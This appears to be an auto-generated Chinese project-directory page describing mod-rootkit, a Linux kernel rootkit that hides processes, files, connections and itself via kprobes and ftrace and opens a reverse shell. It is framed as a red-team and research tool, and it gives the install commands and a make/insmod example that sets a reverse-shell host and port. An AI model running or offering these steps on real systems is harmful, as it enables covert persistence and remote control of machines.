跳到主要内容
项目档案UI 组件库

flashnuke/mod-rootkit UI 组件库:适用场景与集成方式

flashnuke/mod-rootkit:mod-rootkit 是一个面向 x86_64 Linux 的内核级 rootkit 模块,利用 kprobes 和 ftrace 技术实现进本页整理它解决什么问题、适用场景、安装方式和使用方法。

29CStar 于 2026年3月31日2026年9月18日 更新

AI 总结

mod-rootkit 是一个面向 x86_64 Linux 的内核级 rootkit 模块,利用 kprobes 和 ftrace 技术实现进程、文件、网络连接的隐藏及反向 shell 功能,专为现代内核设计,用于安全研究与红队演练。

中文项目介绍

mod-rootkit 是一个面向 x86_64 Linux 的内核级 rootkit 模块,专为安全研究、红队演练和内核安全教学而设计。它利用 kprobes 和 ftrace 技术钩住关键系统调用(如 getdents64、read),实现对进程、文件、目录和网络连接的动态隐藏,并支持模块自身隐藏与反向 shell 功能。与传统依赖 syscall 表修改或 kallsyms_lookup_name() 的 rootkit 不同,本模块采用更 stealthy 且兼容性更高的钩子机制,确保在 Linux 5.7+ 等现代内核上仍能有效运作,避免了已废弃或移除接口的依赖。项目仅支持 x86_64 架构,需要 root 权限加载。用户可通过 make 参数配置隐藏规则,如 STRING_EXCLUDES 设置关键词、NET_EXCLUDES 设置 IP/端口、RSHELL_HOST/RSHELL_PORT 设置反向 shell 目标。模块加载后自动生效,匹配项将从 ps、ls、netstat 等用户空间工具视图中消失。适用于内核漏洞测试、隐蔽持久化验证、红队演练中的痕迹清除以及操作系统安全教学等场景。

详细信息与使用说明

1. 项目定位与用途

mod-rootkit 是一个面向 x86_64 Linux 的内核级 rootkit 模块,定位为安全研究、红队演练和内核安全教学的工具。它通过内核层钩子技术实现系统实体的动态隐藏,并提供隐蔽的反向 shell 通道。项目设计为可加载内核模块(LKM),无需修改内核源码即可加载使用,主要用途包括验证内核安全机制、测试检测工具的有效性、演示高级隐藏技术以及红队操作中的痕迹管理。所有功能均在 kernel-space 实现,确保对用户空间的完全透明性。

2. 解决的问题

项目主要解决在现代 Linux 内核(5.7+)上实现隐蔽操作的技术难题。传统 rootkit 依赖直接修改 syscall 表或使用 kallsyms_lookup_name() 等已移除/封装的符号,在新内核上失效或易被检测。本模块采用 kprobes 和 ftrace 机制进行系统调用钩子,避免触碰敏感数据结构,提供更高的 stealth 和兼容性。同时解决了多维度隐藏的协同问题——进程、文件、网络和模块自身的隐藏需统一配置和一致行为,项目通过集中式过滤规则实现这一点。反向 shell 功能则解决了在严格防火墙环境下建立隐蔽通道的需求。

3. 适用场景

适用场景主要包括:内核安全研究与漏洞测试,用于验证系统调用钩子的检测难度;红队演练与渗透测试,在授权测试中实现隐蔽持久化和痕迹清除;操作系统安全教学,演示内核钩子技术的工作原理和防御挑战;安全产品测试,评估 EDR、IDS 等工具对内核级威胁的检出能力。项目仅限 x86_64 架构,需在受控环境或授权测试中使用,不应用于非法入侵。所有演示均需在隔离网络和测试系统中进行。

4. 安装方式

安装过程分为依赖安装、代码获取、模块编译三步。首先安装构建依赖:sudo apt update && sudo apt install -y build-essential linux-headers-$(uname -r) make gcc。然后克隆仓库:git clone https://github.com/flashnuke/mod-rootkit.git && cd mod-rootkit。最后编译模块:make [可选参数]。若 Makefile 定义了 install 目标,可使用 sudo make install 自动加载模块;否则使用 sudo insmod mod_rootkit.ko 手动加载。注意:编译和加载均需 root 权限,且内核版本需与 headers 匹配。

5. 使用方式

使用方式通过 make 命令行参数配置隐藏规则。STRING_EXCLUDES 设置要隐藏的文件/进程名关键词(逗号分隔);NET_EXCLUDES 设置要隐藏的 IP 地址或端口;RSHELL_HOST 和 RSHELL_PORT 设置反向 shell 目标地址和端口;HIDE_MODULE=1 使模块在加载后自动隐藏自身;MODULE_NAME 可自定义模块名。示例:make STRING_EXCLUDES="secret,hidden" RSHELL_HOST=192.168.1.100 RSHELL_PORT=9001 && sudo insmod mod_rootkit.ko。模块加载后规则即时生效,匹配的进程、文件、目录和网络连接将从用户空间视图中消失,反向 shell 在后台建立。

思维导图

当前仓库信息不足,或结构不够稳定,暂时没有生成可靠的思维导图。

常见问题

flashnuke/mod-rootkit 是做什么的?

mod-rootkit 是一个面向 x86_64 Linux 的内核级 rootkit 模块,利用 kprobes 和 ftrace 技术实现进程、文件、网络连接的隐藏及反向 shell 功能,专为现代内核设计,用于安全研究与红队演练。

flashnuke/mod-rootkit 适合用在什么场景?

mod-rootkit 是一个面向 x86_64 Linux 的内核级 rootkit 模块,定位为安全研究、红队演练和内核安全教学的工具。它通过内核层钩子技术实现系统实体的动态隐藏,并提供隐蔽的反向 shell 通道。项目设计为可加载内核模块(LKM),无需修改内核源码即可加载使用,主要用途包括验证内核安全机制、测试检测工具的有效性、演示高级隐藏技术以及红队操作中的痕迹管理。所有功能均在 kernel-space 实现,确保对用户空间的完全透明性。

flashnuke/mod-rootkit 如何安装?

安装过程分为依赖安装、代码获取、模块编译三步。首先安装构建依赖:sudo apt update && sudo apt install -y build-essential linux-headers-$(uname -r) make gcc。然后克隆仓库:git clone https://github.com/flashnuke/mod-rootkit.git && cd mod-rootkit。最后编译模块:make [可选参数]。若 Makefile 定义了 install 目标,可使用 sudo make install 自动加载模块;否则使用 sudo insmod mod_rootkit.ko 手动加载。注意:编译和加载均需 root 权限,且内核版本需与 headers 匹配。

flashnuke/mod-rootkit 如何开始使用?

使用方式通过 make 命令行参数配置隐藏规则。STRING_EXCLUDES 设置要隐藏的文件/进程名关键词(逗号分隔);NET_EXCLUDES 设置要隐藏的 IP 地址或端口;RSHELL_HOST 和 RSHELL_PORT 设置反向 shell 目标地址和端口;HIDE_MODULE=1 使模块在加载后自动隐藏自身;MODULE_NAME 可自定义模块名。示例:make STRING_EXCLUDES="secret,hidden" RSHELL_HOST=192.168.1.100 RSHELL_PORT=9001 && sudo insmod mod_rootkit.ko。模块加载后规则即时生效,匹配的进程、文件、目录和网络连接将从用户空间视图中消失,反向 shell 在后台建立。